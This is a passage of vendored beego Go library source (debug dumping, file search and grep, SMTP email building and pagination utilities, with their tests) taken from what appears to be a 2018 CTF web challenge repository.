FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/debug.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import ( "bytes" "fmt" "log" "reflect" "runtime" ) var ( dunno = []byte("???") centerDot = []byte("·") dot = []byte(".") ) type pointerInfo struct { prev *pointerInfo n int addr uintptr pos int used []int } // Display print the data in console func Display(data ...interface{}) { display(true, data...) } // GetDisplayString return data print string func GetDisplayString(data ...interface{}) string { return display(false, data...) } func display(displayed bool, data ...interface{}) string { var pc, file, line, ok = runtime.Caller(2) if !ok { return "" } var buf = new(bytes.Buffer) fmt.Fprintf(buf, "[Debug] at %s() [%s:%d]\n", function(pc), file, line) fmt.Fprintf(buf, "\n[Variables]\n") for i := 0; i < len(data); i += 2 { var output = fomateinfo(len(data[i].(string))+3, data[i+1]) fmt.Fprintf(buf, "%s = %s", data[i], output) } if displayed { log.Print(buf) } return buf.String() } // return data dump and format bytes func fomateinfo(headlen int, data ...interface{}) []byte { var buf = new(bytes.Buffer) if len(data) > 1 { fmt.Fprint(buf, " ") fmt.Fprint(buf, "[") fmt.Fprintln(buf) } for k, v := range data { var buf2 = new(bytes.Buffer) var pointers *pointerInfo var interfaces = make([]reflect.Value, 0, 10) printKeyValue(buf2, reflect.ValueOf(v), &pointers, &interfaces, nil, true, " ", 1) if k < len(data)-1 { fmt.Fprint(buf2, ", ") } fmt.Fprintln(buf2) buf.Write(buf2.Bytes()) } if len(data) > 1 { fmt.Fprintln(buf) fmt.Fprint(buf, " ") fmt.Fprint(buf, "]") } return buf.Bytes() } // check data is golang basic type func isSimpleType(val reflect.Value, kind reflect.Kind, pointers **pointerInfo, interfaces *[]reflect.Value) bool { switch kind { case reflect.Bool: return true case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: return true case reflect.Uint8, reflect.Uint16, reflect.Uint, reflect.Uint32, reflect.Uint64: return true case reflect.Float32, reflect.Float64: return true case reflect.Complex64, reflect.Complex128: return true case reflect.String: return true case reflect.Chan: return true case reflect.Invalid: return true case reflect.Interface: for _, in := range *interfaces { if reflect.DeepEqual(in, val) { return true } } return false case reflect.UnsafePointer: if val.IsNil() { return true } var elem = val.Elem() if isSimpleType(elem, elem.Kind(), pointers, interfaces) { return true } var addr = val.Elem().UnsafeAddr() for p := *pointers; p != nil; p = p.prev { if addr == p.addr { return true } } return false } return false } // dump value func printKeyValue(buf *bytes.Buffer, val reflect.Value, pointers **pointerInfo, interfaces *[]reflect.Value, structFilter func(string, string) bool, formatOutput bool, indent string, level int) { var t = val.Kind() switch t { case reflect.Bool: fmt.Fprint(buf, val.Bool()) case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: fmt.Fprint(buf, val.Int()) case reflect.Uint8, reflect.Uint16, reflect.Uint, reflect.Uint32, reflect.Uint64: fmt.Fprint(buf, val.Uint()) case reflect.Float32, reflect.Float64: fmt.Fprint(buf, val.Float()) case reflect.Complex64, reflect.Complex128: fmt.Fprint(buf, val.Complex()) case reflect.UnsafePointer: fmt.Fprintf(buf, "unsafe.Pointer(0x%X)", val.Pointer()) case reflect.Ptr: if val.IsNil() { fmt.Fprint(buf, "nil") return } var addr = val.Elem().UnsafeAddr() for p := *pointers; p != nil; p = p.prev { if addr == p.addr { p.used = append(p.used, buf.Len()) fmt.Fprintf(buf, "0x%X", addr) return } } *pointers = &pointerInfo{ prev: *pointers, addr: addr, pos: buf.Len(), used: make([]int, 0), } fmt.Fprint(buf, "&") printKeyValue(buf, val.Elem(), pointers, interfaces, structFilter, formatOutput, indent, level) case reflect.String: fmt.Fprint(buf, "\"", val.String(), "\"") case reflect.Interface: var value = val.Elem() if !value.IsValid() { fmt.Fprint(buf, "nil") } else { for _, in := range *interfaces { if reflect.DeepEqual(in, val) { fmt.Fprint(buf, "repeat") return } } *interfaces = append(*interfaces, val) printKeyValue(buf, value, pointers, interfaces, structFilter, formatOutput, indent, level+1) } case reflect.Struct: var t = val.Type() fmt.Fprint(buf, t) fmt.Fprint(buf, "{") for i := 0; i < val.NumField(); i++ { if formatOutput { fmt.Fprintln(buf) } else { fmt.Fprint(buf, " ") } var name = t.Field(i).Name if formatOutput { for ind := 0; ind < level; ind++ { fmt.Fprint(buf, indent) } } fmt.Fprint(buf, name) fmt.Fprint(buf, ": ") if structFilter != nil && structFilter(t.String(), name) { fmt.Fprint(buf, "ignore") } else { printKeyValue(buf, val.Field(i), pointers, interfaces, structFilter, formatOutput, indent, level+1) } fmt.Fprint(buf, ",") } if formatOutput { fmt.Fprintln(buf) for ind := 0; ind < level-1; ind++ { fmt.Fprint(buf, indent) } } else { fmt.Fprint(buf, " ") } fmt.Fprint(buf, "}") case reflect.Array, reflect.Slice: fmt.Fprint(buf, val.Type()) fmt.Fprint(buf, "{") var allSimple = true for i := 0; i < val.Len(); i++ { var elem = val.Index(i) var isSimple = isSimpleType(elem, elem.Kind(), pointers, interfaces) if !isSimple { allSimple = false } if formatOutput && !isSimple { fmt.Fprintln(buf) } else { fmt.Fprint(buf, " ") } if formatOutput && !isSimple { for ind := 0; ind < level; ind++ { fmt.Fprint(buf, indent) } } printKeyValue(buf, elem, pointers, interfaces, structFilter, formatOutput, indent, level+1) if i != val.Len()-1 || !allSimple { fmt.Fprint(buf, ",") } } if formatOutput && !allSimple { fmt.Fprintln(buf) for ind := 0; ind < level-1; ind++ { fmt.Fprint(buf, indent) } } else { fmt.Fprint(buf, " ") } fmt.Fprint(buf, "}") case reflect.Map: var t = val.Type() var keys = val.MapKeys() fmt.Fprint(buf, t) fmt.Fprint(buf, "{") var allSimple = true for i := 0; i < len(keys); i++ { var elem = val.MapIndex(keys[i]) var isSimple = isSimpleType(elem, elem.Kind(), pointers, interfaces) if !isSimple { allSimple = false } if formatOutput && !isSimple { fmt.Fprintln(buf) } else { fmt.Fprint(buf, " ") } if formatOutput && !isSimple { for ind := 0; ind <= level; ind++ { fmt.Fprint(buf, indent) } } printKeyValue(buf, keys[i], pointers, interfaces, structFilter, formatOutput, indent, level+1) fmt.Fprint(buf, ": ") printKeyValue(buf, elem, pointers, interfaces, structFilter, formatOutput, indent, level+1) if i != val.Len()-1 || !allSimple { fmt.Fprint(buf, ",") } } if formatOutput && !allSimple { fmt.Fprintln(buf) for ind := 0; ind < level-1; ind++ { fmt.Fprint(buf, indent) } } else { fmt.Fprint(buf, " ") } fmt.Fprint(buf, "}") case reflect.Chan: fmt.Fprint(buf, val.Type()) case reflect.Invalid: fmt.Fprint(buf, "invalid") default: fmt.Fprint(buf, "unknow") } } // PrintPointerInfo dump pointer value func PrintPointerInfo(buf *bytes.Buffer, headlen int, pointers *pointerInfo) { var anyused = false var pointerNum = 0 for p := pointers; p != nil; p = p.prev { if len(p.used) > 0 { anyused = true } pointerNum++ p.n = pointerNum } if anyused { var pointerBufs = make([][]rune, pointerNum+1) for i := 0; i < len(pointerBufs); i++ { var pointerBuf = make([]rune, buf.Len()+headlen) for j := 0; j < len(pointerBuf); j++ { pointerBuf[j] = ' ' } pointerBufs[i] = pointerBuf } for pn := 0; pn <= pointerNum; pn++ { for p := pointers; p != nil; p = p.prev { if len(p.used) > 0 && p.n >= pn { if pn == p.n { pointerBufs[pn][p.pos+headlen] = '└' var maxpos = 0 for i, pos := range p.used { if i < len(p.used)-1 { pointerBufs[pn][pos+headlen] = '┴' } else { pointerBufs[pn][pos+headlen] = '┘' } maxpos = pos } for i := 0; i < maxpos-p.pos-1; i++ { if pointerBufs[pn][i+p.pos+headlen+1] == ' ' { pointerBufs[pn][i+p.pos+headlen+1] = '─' } } } else { pointerBufs[pn][p.pos+headlen] = '│' for _, pos := range p.used { if pointerBufs[pn][pos+headlen] == ' ' { pointerBufs[pn][pos+headlen] = '│' } else { pointerBufs[pn][pos+headlen] = '┼' } } } } } buf.WriteString(string(pointerBufs[pn]) + "\n") } } } // Stack get stack bytes func Stack(skip int, indent string) []byte { var buf = new(bytes.Buffer) for i := skip; ; i++ { var pc, file, line, ok = runtime.Caller(i) if !ok { break } buf.WriteString(indent) fmt.Fprintf(buf, "at %s() [%s:%d]\n", function(pc), file, line) } return buf.Bytes() } // return the name of the function containing the PC if possible, func function(pc uintptr) []byte { fn := runtime.FuncForPC(pc) if fn == nil { return dunno } name := []byte(fn.Name()) // The name includes the path name to the package, which is unnecessary // since the file name is already included. Plus, it has center dots. // That is, we see // runtime/debug.*T·ptrmethod // and want // *T.ptrmethod if period := bytes.Index(name, dot); period >= 0 { name = name[period+1:] } name = bytes.Replace(name, centerDot, dot, -1) return name } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/debug_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import ( "testing" ) type mytype struct { next *mytype prev *mytype } func TestPrint(t *testing.T) { Display("v1", 1, "v2", 2, "v3", 3) } func TestPrintPoint(t *testing.T) { var v1 = new(mytype) var v2 = new(mytype) v1.prev = nil v1.next = v2 v2.prev = v1 v2.next = nil Display("v1", v1, "v2", v2) } func TestPrintString(t *testing.T) { str := GetDisplayString("v1", 1, "v2", 2) println(str) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/file.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import ( "bufio" "errors" "io" "os" "path/filepath" "regexp" ) // SelfPath gets compiled executable file absolute path func SelfPath() string { path, _ := filepath.Abs(os.Args[0]) return path } // SelfDir gets compiled executable file directory func SelfDir() string { return filepath.Dir(SelfPath()) } // FileExists reports whether the named file or directory exists. func FileExists(name string) bool { if _, err := os.Stat(name); err != nil { if os.IsNotExist(err) { return false } } return true } // SearchFile Search a file in paths. // this is often used in search config file in /etc ~/ func SearchFile(filename string, paths ...string) (fullpath string, err error) { for _, path := range paths { if fullpath = filepath.Join(path, filename); FileExists(fullpath) { return } } err = errors.New(fullpath + " not found in paths") return } // GrepFile like command grep -E // for example: GrepFile(`^hello`, "hello.txt") // \n is striped while read func GrepFile(patten string, filename string) (lines []string, err error) { re, err := regexp.Compile(patten) if err != nil { return } fd, err := os.Open(filename) if err != nil { return } lines = make([]string, 0) reader := bufio.NewReader(fd) prefix := "" var isLongLine bool for { byteLine, isPrefix, er := reader.ReadLine() if er != nil && er != io.EOF { return nil, er } if er == io.EOF { break } line := string(byteLine) if isPrefix { prefix += line continue } else { isLongLine = true } line = prefix + line if isLongLine { prefix = "" } if re.MatchString(line) { lines = append(lines, line) } } return lines, nil } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/file_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import ( "path/filepath" "reflect" "testing" ) var noExistedFile = "/tmp/not_existed_file" func TestSelfPath(t *testing.T) { path := SelfPath() if path == "" { t.Error("path cannot be empty") } t.Logf("SelfPath: %s", path) } func TestSelfDir(t *testing.T) { dir := SelfDir() t.Logf("SelfDir: %s", dir) } func TestFileExists(t *testing.T) { if !FileExists("./file.go") { t.Errorf("./file.go should exists, but it didn't") } if FileExists(noExistedFile) { t.Errorf("Weird, how could this file exists: %s", noExistedFile) } } func TestSearchFile(t *testing.T) { path, err := SearchFile(filepath.Base(SelfPath()), SelfDir()) if err != nil { t.Error(err) } t.Log(path) _, err = SearchFile(noExistedFile, ".") if err == nil { t.Errorf("err shouldnt be nil, got path: %s", SelfDir()) } } func TestGrepFile(t *testing.T) { _, err := GrepFile("", noExistedFile) if err == nil { t.Error("expect file-not-existed error, but got nothing") } path := filepath.Join(".", "testdata", "grepe.test") lines, err := GrepFile(`^\s*[^#]+`, path) if err != nil { t.Error(err) } if !reflect.DeepEqual(lines, []string{"hello", "world"}) { t.Errorf("expect [hello world], but receive %v", lines) } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/mail.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import ( "bytes" "encoding/base64" "encoding/json" "errors" "fmt" "io" "mime" "mime/multipart" "net/mail" "net/smtp" "net/textproto" "os" "path" "path/filepath" "strconv" "strings" "sync" ) const ( maxLineLength = 76 upperhex = "0123456789ABCDEF" ) // Email is the type used for email messages type Email struct { Auth smtp.Auth Identity string `json:"identity"` Username string `json:"username"` Password string `json:"password"` Host string `json:"host"` Port int `json:"port"` From string `json:"from"` To []string Bcc []string Cc []string Subject string Text string // Plaintext message (optional) HTML string // Html message (optional) Headers textproto.MIMEHeader Attachments []*Attachment ReadReceipt []string } // Attachment is a struct representing an email attachment. // Based on the mime/multipart.FileHeader struct, Attachment contains the name, MIMEHeader, and content of the attachment in question type Attachment struct { Filename string Header textproto.MIMEHeader Content []byte } // NewEMail create new Email struct with config json. // config json is followed from Email struct fields. func NewEMail(config string) *Email { e := new(Email) e.Headers = textproto.MIMEHeader{} err := json.Unmarshal([]byte(config), e) if err != nil { return nil } return e } // Bytes Make all send information to byte func (e *Email) Bytes() ([]byte, error) { buff := &bytes.Buffer{} w := multipart.NewWriter(buff) // Set the appropriate headers (overwriting any conflicts) // Leave out Bcc (only included in envelope headers) e.Headers.Set("To", strings.Join(e.To, ",")) if e.Cc != nil { e.Headers.Set("Cc", strings.Join(e.Cc, ",")) } e.Headers.Set("From", e.From) e.Headers.Set("Subject", e.Subject) if len(e.ReadReceipt) != 0 { e.Headers.Set("Disposition-Notification-To", strings.Join(e.ReadReceipt, ",")) } e.Headers.Set("MIME-Version", "1.0") // Write the envelope headers (including any custom headers) if err := headerToBytes(buff, e.Headers); err != nil { return nil, fmt.Errorf("Failed to render message headers: %s", err) } e.Headers.Set("Content-Type", fmt.Sprintf("multipart/mixed;\r\n boundary=%s\r\n", w.Boundary())) fmt.Fprintf(buff, "%s:", "Content-Type") fmt.Fprintf(buff, " %s\r\n", fmt.Sprintf("multipart/mixed;\r\n boundary=%s\r\n", w.Boundary())) // Start the multipart/mixed part fmt.Fprintf(buff, "--%s\r\n", w.Boundary()) header := textproto.MIMEHeader{} // Check to see if there is a Text or HTML field if e.Text != "" || e.HTML != "" { subWriter := multipart.NewWriter(buff) // Create the multipart alternative part header.Set("Content-Type", fmt.Sprintf("multipart/alternative;\r\n boundary=%s\r\n", subWriter.Boundary())) // Write the header if err := headerToBytes(buff, header); err != nil { return nil, fmt.Errorf("Failed to render multipart message headers: %s", err) } // Create the body sections if e.Text != "" { header.Set("Content-Type", fmt.Sprintf("text/plain; charset=UTF-8")) header.Set("Content-Transfer-Encoding", "quoted-printable") if _, err := subWriter.CreatePart(header); err != nil { return nil, err } // Write the text if err := quotePrintEncode(buff, e.Text); err != nil { return nil, err } } if e.HTML != "" { header.Set("Content-Type", fmt.Sprintf("text/html; charset=UTF-8")) header.Set("Content-Transfer-Encoding", "quoted-printable") if _, err := subWriter.CreatePart(header); err != nil { return nil, err } // Write the text if err := quotePrintEncode(buff, e.HTML); err != nil { return nil, err } } if err := subWriter.Close(); err != nil { return nil, err } } // Create attachment part, if necessary for _, a := range e.Attachments { ap, err := w.CreatePart(a.Header) if err != nil { return nil, err } // Write the base64Wrapped content to the part base64Wrap(ap, a.Content) } if err := w.Close(); err != nil { return nil, err } return buff.Bytes(), nil } // AttachFile Add attach file to the send mail func (e *Email) AttachFile(args ...string) (a *Attachment, err error) { if len(args) < 1 && len(args) > 2 { err = errors.New("Must specify a file name and number of parameters can not exceed at least two") return } filename := args[0] id := "" if len(args) > 1 { id = args[1] } f, err := os.Open(filename) if err != nil { return } ct := mime.TypeByExtension(filepath.Ext(filename)) basename := path.Base(filename) return e.Attach(f, basename, ct, id) } // Attach is used to attach content from an io.Reader to the email. // Parameters include an io.Reader, the desired filename for the attachment, and the Content-Type. func (e *Email) Attach(r io.Reader, filename string, args ...string) (a *Attachment, err error) { if len(args) < 1 && len(args) > 2 { err = errors.New("Must specify the file type and number of parameters can not exceed at least two") return } c := args[0] //Content-Type id := "" if len(args) > 1 { id = args[1] //Content-ID } var buffer bytes.Buffer if _, err = io.Copy(&buffer, r); err != nil { return } at := &Attachment{ Filename: filename, Header: textproto.MIMEHeader{}, Content: buffer.Bytes(), } // Get the Content-Type to be used in the MIMEHeader if c != "" { at.Header.Set("Content-Type", c) } else { // If the Content-Type is blank, set the Content-Type to "application/octet-stream" at.Header.Set("Content-Type", "application/octet-stream") } if id != "" { at.Header.Set("Content-Disposition", fmt.Sprintf("inline;\r\n filename=\"%s\"", filename)) at.Header.Set("Content-ID", fmt.Sprintf("<%s>", id)) } else { at.Header.Set("Content-Disposition", fmt.Sprintf("attachment;\r\n filename=\"%s\"", filename)) } at.Header.Set("Content-Transfer-Encoding", "base64") e.Attachments = append(e.Attachments, at) return at, nil } // Send will send out the mail func (e *Email) Send() error { if e.Auth == nil { e.Auth = smtp.PlainAuth(e.Identity, e.Username, e.Password, e.Host) } // Merge the To, Cc, and Bcc fields to := make([]string, 0, len(e.To)+len(e.Cc)+len(e.Bcc)) to = append(append(append(to, e.To...), e.Cc...), e.Bcc...) // Check to make sure there is at least one recipient and one "From" address if len(to) == 0 { return errors.New("Must specify at least one To address") } // Use the username if no From is provided if len(e.From) == 0 { e.From = e.Username } from, err := mail.ParseAddress(e.From) if err != nil { return err } // use mail's RFC 2047 to encode any string e.Subject = qEncode("utf-8", e.Subject) raw, err := e.Bytes() if err != nil { return err } return smtp.SendMail(e.Host+":"+strconv.Itoa(e.Port), e.Auth, from.Address, to, raw) } // quotePrintEncode writes the quoted-printable text to the IO Writer (according to RFC 2045) func quotePrintEncode(w io.Writer, s string) error { var buf [3]byte mc := 0 for i := 0; i < len(s); i++ { c := s[i] // We're assuming Unix style text formats as input (LF line break), and // quoted-printble uses CRLF line breaks. (Literal CRs will become // "=0D", but probably shouldn't be there to begin with!) if c == '\n' { io.WriteString(w, "\r\n") mc = 0 continue } var nextOut []byte if isPrintable(c) { nextOut = append(buf[:0], c) } else { nextOut = buf[:] qpEscape(nextOut, c) } // Add a soft line break if the next (encoded) byte would push this line // to or past the limit. if mc+len(nextOut) >= maxLineLength { if _, err := io.WriteString(w, "=\r\n"); err != nil { return err } mc = 0 } if _, err := w.Write(nextOut); err != nil { return err } mc += len(nextOut) } // No trailing end-of-line?? Soft line break, then. TODO: is this sane? if mc > 0 { io.WriteString(w, "=\r\n") } return nil } // isPrintable returns true if the rune given is "printable" according to RFC 2045, false otherwise func isPrintable(c byte) bool { return (c >= '!' && c <= '<') || (c >= '>' && c <= '~') || (c == ' ' || c == '\n' || c == '\t') } // qpEscape is a helper function for quotePrintEncode which escapes a // non-printable byte. Expects len(dest) == 3. func qpEscape(dest []byte, c byte) { const nums = "0123456789ABCDEF" dest[0] = '=' dest[1] = nums[(c&0xf0)>>4] dest[2] = nums[(c & 0xf)] } // headerToBytes enumerates the key and values in the header, and writes the results to the IO Writer func headerToBytes(w io.Writer, t textproto.MIMEHeader) error { for k, v := range t { // Write the header key _, err := fmt.Fprintf(w, "%s:", k) if err != nil { return err } // Write each value in the header for _, c := range v { _, err := fmt.Fprintf(w, " %s\r\n", c) if err != nil { return err } } } return nil } // base64Wrap encodes the attachment content, and wraps it according to RFC 2045 standards (every 76 chars) // The output is then written to the specified io.Writer func base64Wrap(w io.Writer, b []byte) { // 57 raw bytes per 76-byte base64 line. const maxRaw = 57 // Buffer for each line, including trailing CRLF. var buffer [maxLineLength + len("\r\n")]byte copy(buffer[maxLineLength:], "\r\n") // Process raw chunks until there's no longer enough to fill a line. for len(b) >= maxRaw { base64.StdEncoding.Encode(buffer[:], b[:maxRaw]) w.Write(buffer[:]) b = b[maxRaw:] } // Handle the last chunk of bytes. if len(b) > 0 { out := buffer[:base64.StdEncoding.EncodedLen(len(b))] base64.StdEncoding.Encode(out, b) out = append(out, "\r\n"...) w.Write(out) } } // Encode returns the encoded-word form of s. If s is ASCII without special // characters, it is returned unchanged. The provided charset is the IANA // charset name of s. It is case insensitive. // RFC 2047 encoded-word func qEncode(charset, s string) string { if !needsEncoding(s) { return s } return encodeWord(charset, s) } func needsEncoding(s string) bool { for _, b := range s { if (b < ' ' || b > '~') && b != '\t' { return true } } return false } // encodeWord encodes a string into an encoded-word. func encodeWord(charset, s string) string { buf := getBuffer() buf.WriteString("=?") buf.WriteString(charset) buf.WriteByte('?') buf.WriteByte('q') buf.WriteByte('?') enc := make([]byte, 3) for i := 0; i < len(s); i++ { b := s[i] switch { case b == ' ': buf.WriteByte('_') case b <= '~' && b >= '!' && b != '=' && b != '?' && b != '_': buf.WriteByte(b) default: enc[0] = '=' enc[1] = upperhex[b>>4] enc[2] = upperhex[b&0x0f] buf.Write(enc) } } buf.WriteString("?=") es := buf.String() putBuffer(buf) return es } var bufPool = sync.Pool{ New: func() interface{} { return new(bytes.Buffer) }, } func getBuffer() *bytes.Buffer { return bufPool.Get().(*bytes.Buffer) } func putBuffer(buf *bytes.Buffer) { if buf.Len() > 1024 { return } buf.Reset() bufPool.Put(buf) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/mail_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import "testing" func TestMail(t *testing.T) { config := `{"username":"astaxie@gmail.com","password":"astaxie","host":"smtp.gmail.com","port":587}` mail := NewEMail(config) if mail.Username != "astaxie@gmail.com" { t.Fatal("email parse get username error") } if mail.Password != "astaxie" { t.Fatal("email parse get password error") } if mail.Host != "smtp.gmail.com" { t.Fatal("email parse get host error") } if mail.Port != 587 { t.Fatal("email parse get port error") } mail.To = []string{"xiemengjun@gmail.com"} mail.From = "astaxie@gmail.com" mail.Subject = "hi, just from beego!" mail.Text = "Text Body is, of course, supported!" mail.HTML = "

      Fancy Html is supported, too!

      " mail.AttachFile("/Users/astaxie/github/beego/beego.go") mail.Send() } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/pagination/controller.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package pagination import ( "github.com/astaxie/beego/context" ) // SetPaginator Instantiates a Paginator and assigns it to context.Input.Data("paginator"). func SetPaginator(context *context.Context, per int, nums int64) (paginator *Paginator) { paginator = NewPaginator(context.Request, per, nums) context.Input.SetData("paginator", &paginator) return } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/pagination/doc.go ================================================ /* Package pagination provides utilities to setup a paginator within the context of a http request. Usage In your beego.Controller: package controllers import "github.com/astaxie/beego/utils/pagination" type PostsController struct { beego.Controller } func (this *PostsController) ListAllPosts() { // sets this.Data["paginator"] with the current offset (from the url query param) postsPerPage := 20 paginator := pagination.SetPaginator(this.Ctx, postsPerPage, CountPosts()) // fetch the next 20 posts this.Data["posts"] = ListPostsByOffsetAndLimit(paginator.Offset(), postsPerPage) } In your view templates: {{if .paginator.HasPages}} {{end}} See also http://beego.me/docs/mvc/view/page.md */ package pagination ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/pagination/paginator.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package pagination import ( "math" "net/http" "net/url" "strconv" ) // Paginator within the state of a http request. type Paginator struct { Request *http.Request PerPageNums int MaxPages int nums int64 pageRange []int pageNums int page int } // PageNums Returns the total number of pages. func (p *Paginator) PageNums() int { if p.pageNums != 0 { return p.pageNums } pageNums := math.Ceil(float64(p.nums) / float64(p.PerPageNums)) if p.MaxPages > 0 { pageNums = math.Min(pageNums, float64(p.MaxPages)) } p.pageNums = int(pageNums) return p.pageNums } // Nums Returns the total number of items (e.g. from doing SQL count). func (p *Paginator) Nums() int64 { return p.nums } // SetNums Sets the total number of items. func (p *Paginator) SetNums(nums interface{}) { p.nums, _ = toInt64(nums) } // Page Returns the current page. func (p *Paginator) Page() int { if p.page != 0 { return p.page } if p.Request.Form == nil { p.Request.ParseForm() } p.page, _ = strconv.Atoi(p.Request.Form.Get("p")) if p.page > p.PageNums() { p.page = p.PageNums() } if p.page <= 0 { p.page = 1 } return p.page } // Pages Returns a list of all pages. // // Usage (in a view template): // // {{range $index, $page := .paginator.Pages}} // // {{$page}} // // {{end}} func (p *Paginator) Pages() []int { if p.pageRange == nil && p.nums > 0 { var pages []int pageNums := p.PageNums() page := p.Page() switch { case page >= pageNums-4 && pageNums > 9: start := pageNums - 9 + 1 pages = make([]int, 9) for i := range pages { pages[i] = start + i } case page >= 5 && pageNums > 9: start := page - 5 + 1 pages = make([]int, int(math.Min(9, float64(page+4+1)))) for i := range pages { pages[i] = start + i } default: pages = make([]int, int(math.Min(9, float64(pageNums)))) for i := range pages { pages[i] = i + 1 } } p.pageRange = pages } return p.pageRange } // PageLink Returns URL for a given page index. func (p *Paginator) PageLink(page int) string { link, _ := url.ParseRequestURI(p.Request.URL.String()) values := link.Query() if page == 1 { values.Del("p") } else { values.Set("p", strconv.Itoa(page)) } link.RawQuery = values.Encode() return link.String() } // PageLinkPrev Returns URL to the previous page. func (p *Paginator) PageLinkPrev() (link string) { if p.HasPrev() { link = p.PageLink(p.Page() - 1) } return } // PageLinkNext Returns URL to the next page. func (p *Paginator) PageLinkNext() (link string) { if p.HasNext() { link = p.PageLink(p.Page() + 1) } return } // PageLinkFirst Returns URL to the first page. func (p *Paginator) PageLinkFirst() (link string) { return p.PageLink(1) } // PageLinkLast Returns URL to the last page. func (p *Paginator) PageLinkLast() (link string) { return p.PageLink(p.PageNums()) } // HasPrev Returns true if the current page has a predecessor. func (p *Paginator) HasPrev() bool { return p.Page() > 1 } // HasNext Returns true if the current page has a successor. func (p *Paginator) HasNext() bool { return p.Page() < p.PageNums() } // IsActive Returns true if the given page index points to the current page. func (p *Paginator) IsActive(page int) bool { return p.Page() == page } // Offset Returns the current offset. func (p *Paginator) Offset() int { return (p.Page() - 1) * p.PerPageNums } // HasPages Returns true if there is more than one page. func (p *Paginator) HasPages() bool { return p.PageNums() > 1 } // NewPaginator Instantiates a paginator struct for the current http request. func NewPaginator(req *http.Request, per int, nums interface{}) *Paginator { p := Paginator{} p.Request = req if per <= 0 { per = 10 } p.PerPageNums = per p.SetNums(nums) return &p } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/pagination/utils.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package pagination import ( "fmt" "reflect" ) // ToInt64 convert any numeric value to int64 func toInt64(value interface{}) (d int64, err error) { val := reflect.ValueOf(value) switch value.(type) { case int, int8, int16, int32, int64: d = val.Int() case uint, uint8, uint16, uint32, uint64: d = int64(val.Uint()) default: err = 